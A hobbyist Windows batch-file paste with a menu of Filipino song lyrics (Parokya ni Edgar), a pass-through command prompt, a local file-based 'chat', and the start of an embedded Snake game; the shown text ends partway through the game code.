Advertisement
Guest User

batch file

a guest
Jan 29th, 2017
174
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 38.02 KB | None | 0 0
  1. open nyo note pad
  2. paste nyo tong codes na to tapos save as name.bat tapos open nyo wahaha
  3.  
  4.  
  5.  
  6. @echo off
  7. title super programing
  8. :menu
  9. cls
  10. color 0a
  11. echo created by lone survivor
  12. echo.
  13. echo.
  14. echo MENU
  15. echo.
  16. echo 1.parokya songs
  17. echo.
  18. echo 2.cmd
  19. echo.
  20. echo 3.send
  21. echo.
  22. echo 4.recive
  23. echo.
  24. echo 5.snake
  25. echo.
  26. echo 6.facebook
  27. echo.
  28. echo 7.calculator
  29. echo.
  30. set /p cn=choice number:
  31. if %cn%==1 goto parokya
  32. if %cn%==2 goto cmd
  33. if %cn%==3 goto send
  34. if %cn%==4 goto recive
  35. if %cn%==5 goto snake
  36. if %cn%==6 goto facebook
  37. if %cn%==7 goto calculator
  38. color a
  39. cls
  40. echo please enter a valid number
  41. ping local host -n 1 >nul
  42. goto menu
  43.  
  44. :parokya
  45. :home
  46. cls
  47. color 0a
  48. title parokya ni edgar
  49. echo created by lone survivor
  50. echo *********************************************
  51. echo 1.Sorry na *
  52. echo 2.your song *
  53. echo 3.dont touch my birdie *
  54. echo 4.pangarap lang kita *
  55. echo 5.buloy *
  56. echo 6.halaga *
  57. echo 7.wag mo na sana *
  58. echo 8.maniwala ka sana *
  59. echo 9.para sa'yo *
  60. echo 10.menu *
  61. echo *********************************************
  62.  
  63. echo.
  64. echo.
  65. echo.
  66. echo.
  67. echo.
  68. echo ooooo oooo
  69. echo ooooo oooooooooooo
  70. echo ooooo ooooo ooooo
  71. echo ooooo oooo oooo
  72. echo ooooo oooo
  73. echo ooooo oooo
  74. echo ooooo oooo
  75. echo ooooo oooo oooo
  76. echo oooooooooooooo ooooo ooooo
  77. echo oooooooooooooo ooooooooooooo
  78. echo oooooooooooooo ooooo
  79. echo.
  80. echo.
  81. echo.
  82. echo.
  83. echo.
  84. set /p ch=choice number:
  85. if %ch%==1 goto sn
  86. if %ch%==2 goto ys
  87. if %ch%==3 goto dt
  88. if %ch%==4 goto pl
  89. if %ch%==5 goto b
  90. if %ch%==6 goto h
  91. if %ch%==7 goto wm
  92. if %ch%==8 goto mk
  93. if %ch%==9 goto ps
  94. if %ch%==10 goto e
  95. color 4
  96. cls
  97. echo please enter a valid number
  98. ping local host -n 1 >nul
  99. goto home
  100.  
  101. :sn
  102. cls
  103. color 7
  104. echo Sorry na kung nagalit ka di naman sinasadya
  105. echo Kung may nasabi man ako init lang ng ulo
  106. echo Pipilitin kong magbago pangako sa iyo
  107. echo Sorry na nakikinig ka ba? Malamang sawa ka na
  108. echo Sa ugali kong ito na ayaw magpatalo
  109. echo At parang sirang tambutso na hindi humihinto
  110. echo Sorry na talaga kung ako'y medyo tanga
  111. echo Hindi ako nag-iisip na-uuna ang galit
  112. echo Sorry na talaga sa aking nagawa
  113. echo Tanggap ko na mali ako wag sanang magtampo
  114. echo Sorry na
  115. echo Sorry na wag kang madadala
  116. echo Alam kong medyo nahihirapan ka
  117. echo Na ibigin ang isang katulad kong parang timang
  118. echo Na paulit-ulit kang hindi sadyang nasasaktan
  119. echo Sorry na saan ka pupunta?
  120. echo Please naman wag kang mawawala
  121. echo Kapag ako ay iwan mo mamamatay ako
  122. echo Pagkat hawak mo sa iyong kamay ang puso ko
  123. echo Mahal kita sobrang mahal kita
  124. echo Wala na akong pwedeng sabihin pang iba
  125. echo Kundi sorry talaga di ko sinasadya
  126. echo Talagang sobrang mahal kita
  127. echo Wag kang mawawala
  128. echo Sorry na
  129. echo.
  130. pause
  131. goto home
  132.  
  133.  
  134. :ys
  135. cls
  136. color 7
  137. echo It took one look
  138. echo And forever lay out in front of me
  139. echo One smile then I die
  140. echo Only to be revived by you
  141. echo.
  142. echo There I was
  143. echo Thought I had everything figured out
  144. echo It goes to show just how much I know
  145. echo About the way life plays out
  146. echo.
  147. echo Chorus:
  148. echo I take one step away
  149. echo And I find myself coming back to you
  150. echo My one and only
  151. echo One and only you
  152. echo.
  153. echo Now I know
  154. echo That I've known not a thing at all
  155. echo Except the fact that I am yours
  156. echo And that you are mine
  157. echo.
  158. echo Oh, you told me that this wouldn't be easy
  159. echo And Oh, I'm not one to complain
  160. echo.
  161. echo Repeat Chorus Except Last Line
  162. echo Repeat Chorus
  163. echo.
  164. pause
  165. goto home
  166.  
  167. :dt
  168. cls
  169. color 7
  170. echo Kapag ako'y nababato
  171. echo Pinaglalaruan ko ang birdie ko
  172. echo Ang cute-cute naman kasi
  173. echo Kaya ko siya binili
  174. echo.
  175. echo My birdie is my best friend (my best friend)
  176. echo Ang dami naming maliligayang sandali
  177. echo Madalas ko siyang pinapakain ng birdseed
  178. echo Mahal kita o birdie ko, 'wag kang lalayo!
  179. echo.
  180. echo Don't touch my birdie! (Don't touch my birdie!)
  181. echo Resist temptation please!
  182. echo You don't have to grab my birdie
  183. echo Just call it, and it will come!
  184. echo.
  185. echo Ang birdie ko ay nakakatuwa
  186. echo Parang cobra na mahilig mantuka
  187. echo Kapag inilabas na mula sa kulungan
  188. echo Tuluy-tuloy na ang aming kasiyahan
  189. echo.
  190. echo 'Di naman ako madamot talaga
  191. echo Ayaw ko lang na hinahawakan siya ng iba!
  192. echo Ang birdie ko ay medyo masungit
  193. echo Konting hawak lang siguradong magagalit!
  194. echo.
  195. echo Don't touch my birdie! (Don't touch my birdie!)
  196. echo Resist temptation please!
  197. echo You don't have to grab my birdie
  198. echo Just call it, and it will come... It will come!
  199. echo.
  200. echo Huwag ka sanang magalit sa akin
  201. echo Tuwing ang birdie ko ay aking hihimasin
  202. echo Sana'y maunawaan mo
  203. echo Mahal na mahal ko ang birdie ko pati mga itlog nito!
  204. echo.
  205. echo Don't touch my birdie! (Don't touch my birdie!)
  206. echo Resist temptation please!
  207. echo You don't have to grab my birdie
  208. echo Just call it, and it will come
  209. echo.
  210. echo Don't touch my birdie! (It will come)
  211. echo Resist temptation please! (It will come)
  212. echo You don't have to grab my birdie
  213. echo Just call it, and it will come... It will come
  214. echo.
  215. echo It will come
  216. echo.
  217. pause
  218. goto home
  219.  
  220. :pl
  221. cls
  222. color 7
  223. echo Mabuti pa sa lotto
  224. echo May pag-asang manalo
  225. echo 'Di tulad sayo
  226. echo Imposible
  227. echo Prinsesa ka
  228. echo Ako'y dukha
  229. echo Sa TV lang naman kasi may mangyayari
  230. echo.
  231. echo At kahit mahal kita
  232. echo Wala akong magagawa
  233. echo Tanggap ko 'to aking sinta
  234. echo Pangarap lang kita
  235. echo.
  236. echo Ang hirap maging babae
  237. echo Kung torpe yung lalaki
  238. echo Kahit may gusto ka
  239. echo Di mo masabi
  240. echo Hindi ako iyong tipong nagbibigay motibo
  241. echo Conservative ako kaya di maaari
  242. echo.
  243. echo At kahit mahal kita
  244. echo Wala akong magagawa
  245. echo Tanggap ko 'to aking sinta
  246. echo Pangarap lang kita
  247. echo.
  248. echo At kahit mahal kita (Minamahal kita)
  249. echo Wala akong magagawa (Walang magagawa)
  250. echo Tanggap ko oh aking sinta
  251. echo Pangarap lang kita
  252. echo.
  253. echo At kahit mahal kita (do ai ni)
  254. echo Wala akong magagawa (wo zhen do mei pan fa)
  255. echo Tanggap ko to aking sinta
  256. echo Pangarap lang kita
  257. echo Pangarap lang kita
  258. echo Pangarap lang
  259. echo.
  260. pause
  261. goto home
  262.  
  263. :b
  264. cls
  265. color 7
  266. echo Hoy hoy, Buloy
  267. echo Naaalala mo pa ba
  268. echo Nun' tayo'y nagsasama?
  269. echo Hoy hoy, Buloy
  270. echo Naaalala mo pa ba
  271. echo Ang iyong mga sinabi nung ako'y may problema?
  272. echo.
  273. echo Sabi mo, "lahat ng problema'y kayang lampasan,
  274. echo Basta't tayo'y nagsasama, at nag-iinuman!"
  275. echo.
  276. echo Hoy hoy, Buloy
  277. echo Naaalala mo pa ba
  278. echo Nung ako ay na-"kick-out" kasi daw ako'y tanga? (TANGA! )
  279. echo Hoy hoy, Buloy
  280. echo Naaalala mo pa ba
  281. echo Nung ako ay napalayas ng aking ama't ina?
  282. echo.
  283. echo Mangiyak-ngiyak na'ko pero sabi mo ay "Okay lang yan!
  284. echo Basta't tayo'y nagsasama, at nag-iinuman!"
  285. echo.
  286. echo Kaya naman ako bilib sa iyo
  287. echo Kasi parang napakatibay mo.
  288. echo Lahat ng iharang ay kaya mong daanan
  289. echo Basta't mayroong bentang alak diyan sa may tindahan!
  290. echo.
  291. echo Hoy hoy, Buloy
  292. echo Naaalala mo pa ba
  293. echo Nung araw na na-dedo ang aso mong si Morlock?
  294. echo Hoy hoy, Buloy
  295. echo Naaalala mo pa ba
  296. echo Nung ika'y tumawag sa'min at ika'y umiiyak...
  297. echo.
  298. echo Tapos pagkatapos no'n, kay tagal mong nawala.
  299. echo Nagulat na lang ako nung narinig ko ang balita.
  300. echo Akala ko pa naman na marunong kang magdala,
  301. echo Nalaman ko na lang na ika'y nagpakamatay na...
  302. echo.
  303. echo Hoy Buloy
  304. echo Nasaan ka man, siguradong kawawa ka, malamang walang alak diyan
  305. echo Hoy Buloy
  306. echo Nasaan ka man, siguradong hindi ka namin malilimutan
  307. echo.
  308. echo Hoy Buloy Buloy Buloy
  309. echo Hoy Buloy Buloy Buloy
  310. echo.
  311. echo Hoy hoy, Buloy
  312. echo Para bang nalimot mo na ang iyong mga sinabi nung ikaw ay buhay pa.
  313. echo.
  314. pause
  315. goto home
  316.  
  317. :h
  318. cls
  319. color 7
  320. echo Umiiyak ka na naman
  321. echo Langya talaga wala ka bang ibang alam
  322. echo Namumugtong mga mata
  323. echo Kailan pa ba kaya ikaw magsasawa
  324. echo.
  325. echo Sa problema na iyong pinapasan
  326. echo Hatid sayo ng boyfriend mong hindi mo maintindihan
  327. echo.
  328. echo May kwento kang pandrama na naman
  329. echo Parang pang TV na walang katapusan
  330. echo Hanggang kailan ka bang ganyan
  331. echo Hindi mo ba alam na walang pupuntahan
  332. echo Ang pagtiyaga mo dyan sa boyfriend mong tanga
  333. echo Na wala nang ginawa kundi ang paluhain ka
  334. echo.
  335. echo (Chorus)
  336. echo Sa libu-libong pagkakataon na tayoy nagkasama
  337. echo Iilang ulit palang kitang makitang masaya
  338. echo Naiinis akong isipin na ginaganyan ka nya
  339. echo Siguro ay hindi niya lang alam ang iyong
  340. echo Tunay na halaga
  341. echo.
  342. echo Hindi na dapat pag-usapan pa
  343. echo Napapagod na rin ako sa aking kakasalita
  344. echo Hindi ka rin naman nakikinig
  345. echo Kahit sobrang pagod na ang aking bibig
  346. echo.
  347. echo Sa mga payo kong di mo pinapansin
  348. echo Akala mo'y nakikinig di rin naman tatanggapin
  349. echo.
  350. echo Ayoko nang isipin pa
  351. echo Di ko alam ba't di mo makayanan na iwanan sya
  352. echo Ang dami-dami naman diyang iba
  353. echo Wag kang mangangambang baka wala ka nang ibang Makita
  354. echo.
  355. echo Na lalake na magmahal sayo
  356. echo At hinding hindi nya sasayangin ang pag-ibig mo
  357. echo.
  358. echo (Chorus)
  359. echo Sa libu-libong pagkakataon na tayoy nagkasama
  360. echo Iilang ulit palang kitang makitang masaya
  361. echo Naiinis akong isipin na ginaganyan ka nya
  362. echo Siguro ay hindi niya lang alam ang iyong
  363. echo Tunay na halaga
  364. echo.
  365. echo Minsan hindi ko maintindihan
  366. echo Parang ang buhay natin ay napagti-tripan
  367. echo Medyo Malabo yata ang mundo
  368. echo Binabasura ng iba ang siyang pinapangarap ko
  369. echo.
  370. echo (Chorus)
  371. echo Sa libu-libong pagkakataon na tayoy nagkasama
  372. echo Iilang ulit palang kitang makitang masaya
  373. echo Naiinis akong isipin na ginaganyan ka nya
  374. echo Siguro ay hindi niya lang alam ang iyong
  375. echo Tunay na halaga
  376. echo.
  377. pause
  378. goto home
  379.  
  380. :wm
  381. cls
  382. color 7
  383. echo Naiinis na ako sa iyo
  384. echo Bakit mo ba ako ginaganito
  385. echo Ikaw ba ay naguguluhan sa 'king tunay na nararamdaman sa iyo
  386. echo Ano pa bang dapat na gawin pa
  387. echo Sa 'king pananamit at pananalita
  388. echo Upang iyong mapagbigyang pansin aking paghanga at pagtingin
  389. echo Sa iyo
  390. echo.
  391. echo Chorus:
  392. echo Wag mo na sana akong pahirapan pa
  393. echo Kung ayaw mo sa 'kin ay sabihin mo na
  394. echo Wag mo na sana akong ipaasa sa wala
  395. echo Oo na mahal na kung mahal kita
  396. echo.
  397. echo Ano pa bang dapat na gawin ko
  398. echo Upang malaman mo ang nadarama ko
  399. echo Upang iyong mapagbigyang pansin
  400. echo Aking paghahanga at pagtingin
  401. echo Sa iyo
  402. echo.
  403. echo (Repeat chorus)
  404. echo Oo na mahal na kung mahal kita
  405. echo.
  406. pause
  407. goto home
  408.  
  409. :mk
  410. cls
  411. color 7
  412. echo Nung una kitang makilala di man lang kita napuna,
  413. echo di ka naman kasi ganoon kaganda, di ba?
  414. echo simpleng kabatak, simpleng kabarkada lamang ang tingin ko sa'yo.
  415. echo di ko talaga alam kung bakit ako nagkakaganito!
  416. echo ako'y napaisip at biglang napatingin, di ko malaman kung anongdapat gawin!
  417. echo dahan- dahan nag- iba ang pagtingin ko sa 'yo,
  418. echo gumanda ka bigla at ang mga kilos mo'y nakakapanibago!
  419. echo napansin ko na lamang na nalalaglag ang aking puso.
  420. echo bad trip talaga! na- i- in lab ako sa 'yo!
  421. echo tuwing kita'y nakikita ako ay napapangiti, para bang gusto konghalikan ang iyong mga pisngi!
  422. echo.
  423. echo CHORUS
  424. echo minamahal kita! ba't di ka maniwala?!
  425. echo anong kailangan kong gawin upang seryosohin mo ang aking sinasabitungkol sa pag- ibig ko sa 'yo?
  426. echo maniwala ka sana, minamahal kita!
  427. echo.
  428. echo nasira na yata ang ulo ko, kaiisip ko sa 'yo
  429. echo kahit saan tumingin ay mukha mo ang nakikita ko!
  430. echo pero bakit para kang naiilang, ako ay iyong iniiwasan?
  431. echo ako'y nahihirapan uy, wala namang ganyanan!
  432. echo pakiramdam ko ngayon ako ay nagmumukhang gago!
  433. echo ngayon ako'y nagsisisi kung bakit ako nag "i love you"!!!
  434. echo kasi di na tayo tulad ng dati
  435. echo ngayon sa akin ay diring- dire!
  436. echo.
  437. echo (CHORUS)
  438. echo.
  439. pause
  440. goto home
  441.  
  442. :ps
  443. cls
  444. color 7
  445. echo Lumayo ka na sa akin
  446. echo Wag mo kong kausapin
  447. echo Parang awa mo na
  448. echo Wag kang magpapaakit sa akin
  449. echo Ayoko lang masaktan ka
  450. echo Malakas ako mambola
  451. echo Hindi ako santo
  452. echo.
  453. echo Pero para sa'yo
  454. echo Ako'y magbabago
  455. echo Kahit mahirap
  456. echo Kakayanin ko
  457. echo Dahil para sa'yo
  458. echo Handa kong magpakatino
  459. echo Laging isipin
  460. echo Lahat ay gagawin
  461. echo Basta para sa'yo
  462. echo.
  463. echo Hindi ikaw yung tipong niloloko
  464. echo At hindi naman ako
  465. echo Yung tipong nagseseryoso
  466. echo At kahit
  467. echo Sulit sana sa'yo ang kasalanan
  468. echo Lolokohin lang kita
  469. echo Kaya't kung pwede wag nlang dahil
  470. echo Ayoko ngang masaktan ka
  471. echo Wag kang maniniwala
  472. echo Hindi ako santo
  473. echo.
  474. echo Pero para sa'yo
  475. echo Ako'y magbabago
  476. echo Kahit mahirap
  477. echo Kakayanin ko
  478. echo Dahil para sa'yo
  479. echo Handa kong magpakatino
  480. echo Laging isipin
  481. echo Lahat ay gagawin
  482. echo Basta para sa'yo
  483. echo.
  484. echo Bakit nakikinig ka pa
  485. echo Matatapos na ang kanta
  486. echo Pinapatakas na kita
  487. echo Mula nung unang stanza
  488. echo Hinde ka ba natatakot
  489. echo Baka ikaw ay masangkot
  490. echo Sa mga kasalanan ko
  491. echo.
  492. echo Pero para sa'yo
  493. echo Ako'y magbabago
  494. echo Kahit mahirap
  495. echo Kakayanin ko
  496. echo Dahil para sa'yo
  497. echo Handa kong magpakatino
  498. echo Laging isipin
  499. echo Lahat ay gagawin
  500. echo Basta para sa'yo
  501. echo.
  502. echo Ako'y magbabago
  503. echo Kahit mahirap
  504. echo Kakayanin ko
  505. echo Dahil para sa'yo
  506. echo Handa kong magpakatino
  507. echo Laging isipin
  508. echo Lahat ay gagawin
  509. echo Basta para sa'yo
  510. echo.
  511. pause
  512. goto home
  513.  
  514. :e
  515. cls
  516. goto menu
  517.  
  518. :cmd
  519. cls
  520. title command prompt
  521. ver
  522. echo to go to menu type "goto menu"
  523. echo.
  524. :x
  525. set /p the="%cd%>"
  526. %the%
  527. echo.
  528. goto x
  529. goto menu
  530.  
  531. :send
  532. cls
  533. color 0b
  534.  
  535. title Chat Messenger
  536.  
  537. echo Hi, welcome to the chat program!
  538. echo to go to menu type 1
  539. echo to go to say type 2
  540. echo.
  541.  
  542. set /p username=Enter Your Name:
  543.  
  544. echo %username% has joined! >> join.dat
  545.  
  546. :message
  547.  
  548. set /p message=Say:
  549.  
  550. goto send
  551.  
  552. :send
  553.  
  554. echo %username%: %message% (%time%)>> log.dat
  555.  
  556. set /p gt=go to menu or say:
  557. if %gt%==1 goto menu
  558. if %gt%==2 goto message
  559. color a
  560. cls
  561. echo please enter a valid number
  562. ping local host -n 1 >nul
  563. goto message
  564.  
  565. :recive
  566. cls
  567. color 0b
  568. title chat messenger reciever
  569.  
  570. :read
  571.  
  572. cls
  573.  
  574. type join.dat
  575.  
  576. echo.
  577.  
  578. type log.dat
  579.  
  580. echo.
  581.  
  582. timeout /t 1
  583. echo.
  584. echo to go to menu type 1
  585. echo to go to read type 2
  586.  
  587. set /p rm=goto menu or read:
  588. if %rm%==1 goto menu
  589. if %rm%==2 goto read
  590. color a
  591. cls
  592. echo please enter a valid number
  593. ping local host -n 1 >nul
  594. goto read
  595.  
  596. :snake
  597. if "%~1" == "startGame" goto :game
  598. if "%~1" == "startController" goto :controller
  599.  
  600.  
  601. ::---------------------------------------------------------------------
  602. :: setup some global variables used by both the game and the controller
  603.  
  604. setlocal disableDelayedExpansion
  605. :getSession
  606. if defined temp (set "tempFileBase=%temp%\") else if defined tmp set "tempFileBase=%tmp%\"
  607. set "tempFileBase=%tempFileBase%Snake%time::=_%"
  608. set "keyFile=%tempFileBase%_key.txt"
  609. set "cmdFile=%tempFileBase%_cmd.txt"
  610. set "gameLock=%tempFileBase%_gameLock.txt"
  611. set "gameLog=%tempFileBase%_gameLog.txt"
  612. set "signal=%tempFileBase%_signal.txt"
  613. set "saveLoc=%userprofile%\Snake"
  614. set "userPref=%saveLoc%\SnakeUserPref.txt"
  615. set "hiFile=%saveLoc%\Snake!growth!Hi"
  616. set "keyStream=9"
  617. set "cmdStream=8"
  618. set "lockStream=7"
  619.  
  620.  
  621. ::------------------------------------------
  622. :: Lock this game session and launch.
  623. :: Loop back and try a new session if failure.
  624. :: Cleanup and exit when finished
  625.  
  626. call :launch %lockStream%>"%gameLock%" || goto :getSession
  627. del "%tempFileBase%*"
  628. exit /b
  629.  
  630.  
  631. ::------------------------------------------
  632. :launch the game and the controller
  633.  
  634. call :fixLogs
  635. copy nul "%keyFile%" >nul
  636. copy nul "%cmdFile%" >nul
  637. start "" /b cmd /c ^""%~f0" startController %keyStream%^>^>"%keyFile%" %cmdStream%^<"%cmdFile%" 2^>nul ^>nul^"
  638. cmd /c ^""%~f0" startGame %keyStream%^<"%keyFile%" %cmdStream%^>^>"%cmdFile%" ^<nul^"
  639. echo(
  640.  
  641.  
  642. ::--------------------------------------------------------------
  643. :: Upon exit, wait for the controller to close before returning
  644.  
  645. :close
  646. 2>nul (>>"%keyFile%" call )||goto :close
  647. if not exist "%~dp0CursorPos.exe" (
  648. echo Game play can be improved by installing
  649. echo Aacini's CursorPos.exe, available at
  650. echo http://goo.gl/hr6Kkn
  651. echo(
  652. echo %cmdcmdline%|find /i "%~f0">nul&&pause
  653. )
  654. exit /b 0
  655.  
  656.  
  657. ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
  658. :game
  659. title %~nx0
  660. cls
  661.  
  662. ::---------------------------------------
  663. :: Playfield size
  664. :: max playing field: (width-2)*(height-2) <= 1365
  665.  
  666. set "width=40" max=99
  667. set "height=25" max=99
  668.  
  669. ::----------------------------
  670. :: resize the console window
  671.  
  672. set /a cols=width+1, lines=height+10, area=(width-2)*(height-2)
  673. if %area% gtr 1365 (
  674. echo ERROR: Playfield area too large
  675. %sendCmd% quit
  676. exit
  677. )
  678. if %lines% lss 14 set lines=14
  679. if %cols% lss 46 set cols=46
  680. mode con: cols=%cols% lines=%lines%
  681.  
  682.  
  683. ::----------------------------
  684. :: define variables
  685.  
  686. set "configOptions=diffCode difficulty growth moveKeys up down left right"
  687. set "configOptionCnt=9"
  688.  
  689. set "moveKeys=4"
  690.  
  691. set "up=W"
  692. set "down=S"
  693. set "left=A"
  694. set "right=D"
  695. set "pause=P"
  696.  
  697. set "space= "
  698. set "bound=#"
  699. set "food=+"
  700. set "head=@"
  701. set "body=O"
  702. set "death=X"
  703.  
  704. set "growth=1"
  705.  
  706. if exist "%userPref%" for /f "usebackq delims=" %%V in ("%userPref%") do set "%%V"
  707.  
  708. set "spinner1=-"
  709. set "spinner2=\"
  710. set "spinner3=|"
  711. set "spinner4=/"
  712. set "spinner= spinner1 spinner2 spinner3 spinner4 "
  713.  
  714. set "delay1=20"
  715. set "delay2=15"
  716. set "delay3=10"
  717. set "delay4=7"
  718. set "delay5=5"
  719. set "delay6=3"
  720.  
  721. set "desc1=Sluggard"
  722. set "desc2=Crawl"
  723. set "desc3=Slow"
  724. set "desc4=Normal"
  725. set "desc5=Fast"
  726. set "desc6=Insane"
  727.  
  728. set "spinnerDelay=3"
  729.  
  730. set /a "width-=1, height-=1"
  731.  
  732. :: define LF as a Line Feed (newline) character
  733. set ^"LF=^
  734.  
  735. ^" Above empty line is required - do not remove
  736.  
  737. :: define CR as a Carriage Return character
  738. for /f %%A in ('copy /Z "%~dpf0" nul') do set "CR=%%A"
  739.  
  740. :: define BS as a BackSpace character
  741. for /f %%A in ('"prompt $H&for %%B in (1) do rem"') do set "BS=%%A"
  742.  
  743. set "upper=A B C D E F G H I J K L M N O P Q R S T U V W X Y Z"
  744. set "invalid=*~="
  745.  
  746.  
  747. ::---------------------------
  748. :: define macros
  749.  
  750. if exist "%~dp0CursorPos.exe" (
  751. set "cls=CursorPos 0 0"
  752. set "ClearLine=echo( &CursorPos 0 -1"
  753. set "ClearPrev=CursorPos 0 -0&echo( "
  754. ) else (
  755. set "cls=cls"
  756. set "ClearLine="
  757. set "ClearPrev="
  758. )
  759.  
  760. :: define a newline with line continuation
  761. set ^"\n=^^^%LF%%LF%^%LF%%LF%^^"
  762.  
  763. :: setErr
  764. ::: Sets the ERRORLEVEL to 1
  765. set "setErr=(call)"
  766.  
  767. :: clrErr
  768. ::: Sets the ERRORLEVEL to 0
  769. set "clrErr=(call )"
  770.  
  771.  
  772. :: sendCmd command
  773. ::: sends a command to the controller
  774. set "sendCmd=>&%cmdStream% echo"
  775.  
  776.  
  777. :: getKey [ValidKey] [ValidKey...]
  778. ::: Check for keypress from the controller. Only accept a ValidKey.
  779. ::: Token delimiters and poison characters must be quoted.
  780. ::: Accept any key if no ValidKey specified.
  781. ::: Return result in Key variable. Key is undefined if no valid keypress.
  782. set getKey=%\n%
  783. for %%# in (1 2) do if %%#==2 (%\n%
  784. set key=%\n%
  785. set inKey=%\n%
  786. set keyTest=%\n%
  787. ^<^&%keyStream% set /p "inKey="%\n%
  788. if defined inKey (%\n%
  789. set inKey=!inKey:~0,-1!%\n%
  790. for %%C in (!args!) do set /a keyTest=1^&if /i !inKey! equ %%~C set key=!inKey!%\n%
  791. )%\n%
  792. if not defined keyTest set key=!inKey!%\n%
  793. ) else set args=
  794.  
  795.  
  796. :: draw
  797. ::: draws the board
  798. set draw=%\n%
  799. set screen=%\n%
  800. for /l %%Y in (0,1,%height%) do set screen=!screen!!line%%Y!!LF!%\n%
  801. set screen=!screen!Speed = !Difficulty! !replay!!LF!Growth Rate = !growth! HighScore = !hi!!LF!Score = !score! Time = !m!:!s!%\n%
  802. if defined replay if not defined replayFinished (%\n%
  803. set screen=!screen!!LF!!LF!Press a key to abort the replay%\n%
  804. )%\n%
  805. %cls%^&echo(!screen!
  806.  
  807. :: test X Y ValueListVar
  808. ::: tests if value at coordinates X,Y is within contents of ValueListVar
  809. set test=%\n%
  810. for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
  811. for %%A in ("!line%%2:~%%1,1!") do if "!%%3:%%~A=!" neq "!%%3!" %clrErr% else %setErr%%\n%
  812. )) else set args=
  813.  
  814.  
  815. :: plot X Y ValueVar
  816. ::: places contents of ValueVar at coordinates X,Y
  817. set plot=%\n%
  818. for %%# in (1 2) do if %%#==2 (for /f "tokens=1-3" %%1 in ("!args!") do (%\n%
  819. set "part2=!line%%2:~%%1!"%\n%
  820. set "line%%2=!line%%2:~0,%%1!!%%3!!part2:~1!"%\n%
  821. )) else set args=
  822.  
  823.  
  824. ::--------------------------------------
  825. :: start the game
  826. setlocal enableDelayedExpansion
  827. if not exist "%saveLoc%\" md "%saveLoc%"
  828. set "replay= Aborting... "
  829. set "replayAvailable="
  830. call :loadHighScores
  831. call :mainMenu
  832.  
  833.  
  834. ::--------------------------------------
  835. :: main loop (infinite loop)
  836. for /l %%. in () do (
  837.  
  838. %=== check for and process abort signal if in replay mode ===%
  839. if defined replay if exist "%signal%" (
  840. del "%signal%"
  841. set "replayFinished=1"
  842. %draw%
  843. echo(
  844. %ClearLine%
  845. <nul set /p "=Aborting... "
  846. findstr "^" >nul <&%keyStream%
  847. for %%A in (!configOptions!) do set "%%A=!%%ASave!"
  848. call :mainMenu
  849. )
  850.  
  851. %=== compute time since last move ===%
  852. for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
  853. if !tDiff! lss 0 set /a tDiff+=24*60*60*100
  854.  
  855. if !tDiff! geq !delay! (
  856. %=== delay has expired, so time for movement ===%
  857. set /a t1=t2
  858.  
  859. %=== compute game time ===%
  860. if not defined gameStart set "gameStart=!t2!"
  861. set /a "gameTime=(t2-gameStart)"
  862. if !gameTime! lss 0 set /a "gameTime+=24*60*60*100"
  863. set /a "gameTime=(gameTime-pauseTime)/100, m=gameTime/60, s=gameTime%%60"
  864. if !m! lss 10 set "m=0!m!"
  865. if !s! lss 10 set "s=0!s!"
  866.  
  867. %=== get keypress ===%
  868. %getKey% !keys!
  869. if /i !key! equ !pause! (
  870.  
  871. %=== pause game ===%
  872. echo(
  873. call :ask "PAUSED - Press a key to continue..."
  874. %ClearPrev%
  875. %sendCmd% go
  876. for /f "tokens=1-4 delims=:.," %%a in ("!time: =0!") do set /a "t2=(((1%%a*60)+1%%b)*60+1%%c)*100+1%%d-36610100, tDiff=t2-t1"
  877. if !tDiff! lss 0 set /a tDiff+=24*60*60*100
  878. set /a pauseTime+=tDiff
  879.  
  880. ) else (
  881.  
  882. %=== establish direction ===%
  883. if not defined replay (echo(!key!.) >>"!gameLog!"
  884. for %%K in (!key!) do if !moveKeys! equ 2 (
  885. set /a "xDiff=xTurn%%K*!yDiff!, yDiff=yTurn%%K*!xDiff!"
  886. ) else if "!%%KAxis!" neq "!axis!" (
  887. set /a "xDiff=xDiff%%K, yDiff=yDiff%%K"
  888. set "axis=!%%KAxis!"
  889. )
  890.  
  891. %=== erase the tail ===%
  892. set "TX=!snakeX:~-2!"
  893. set "TY=!snakeY:~-2!"
  894. set "snakeX=!snakeX:~0,-2!"
  895. set "snakeY=!snakeY:~0,-2!"
  896. %plot% !TX! !TY! space
  897.  
  898. %=== compute new head location and attempt to move ===%
  899. set /a "X=PX+xDiff, Y=PY+yDiff"
  900. set "X= !X!"
  901. set "Y= !Y!"
  902. set "X=!X:~-2!"
  903. set "Y=!Y:~-2!"
  904. (%test% !X! !Y! playerSpace) && (
  905.  
  906. %=== move successful ===%
  907.  
  908. %=== remove the new head location from the empty list ===%
  909. for %%X in ("!X!") do for %%Y in ("!Y!") do set "empty=!empty:#%%~X %%~Y=!"
  910.  
  911. %=== eat any food that may be present ===%
  912. (%test% !X! !Y! food) && (
  913. %=== initiate growth ===%
  914. set /a grow+=growth
  915.  
  916. %=== locate and draw new food ===%
  917. if defined replay (
  918. <&%keyStream% set /p "F="
  919. ) else (
  920. set /a "F=(!random!%%(emptyCnt-1))*6+1"
  921. (echo !F!) >>"!gameLog!"
  922. )
  923. for %%F in (!F!) do (%plot% !empty:~%%F,5! food)
  924. )
  925.  
  926. if !grow! gtr 0 (
  927. %=== restore the tail ===%
  928. %plot% !TX! !TY! body
  929. set "snakeX=!snakeX!!TX!"
  930. set "snakeY=!snakeY!!TY!"
  931. set /a emptyCnt-=1
  932.  
  933. %=== manage score ===%
  934. set /a "score+=1, grow-=1"
  935. if not defined replay if !score! gtr !hi! set /a "hi+=1, newHi=1"
  936.  
  937. ) else (
  938. %=== add the former tail position to the empty list ===%
  939. set "empty=!empty!#!TX! !TY!"
  940. )
  941.  
  942. %=== draw the new head ===%
  943. if defined snakeX (%plot% !PX! !PY! body)
  944. %plot% !X! !Y! head
  945.  
  946. %=== Add the new head position to the snake strings ===%
  947. set "snakeX=!X!!snakeX!"
  948. set "snakeY=!Y!!snakeY!"
  949. set "PX=!X!"
  950. set "PY=!Y!"
  951.  
  952. %draw%
  953.  
  954. ) || (
  955.  
  956. %=== failed move - game over ===%
  957. set "replayFinished=1"
  958. %plot% !TX! !TY! body
  959. call :spinner !PX! !PY! death
  960. %draw%
  961. if defined newHi (
  962. echo(
  963. echo New High Score - Congratulations^^!
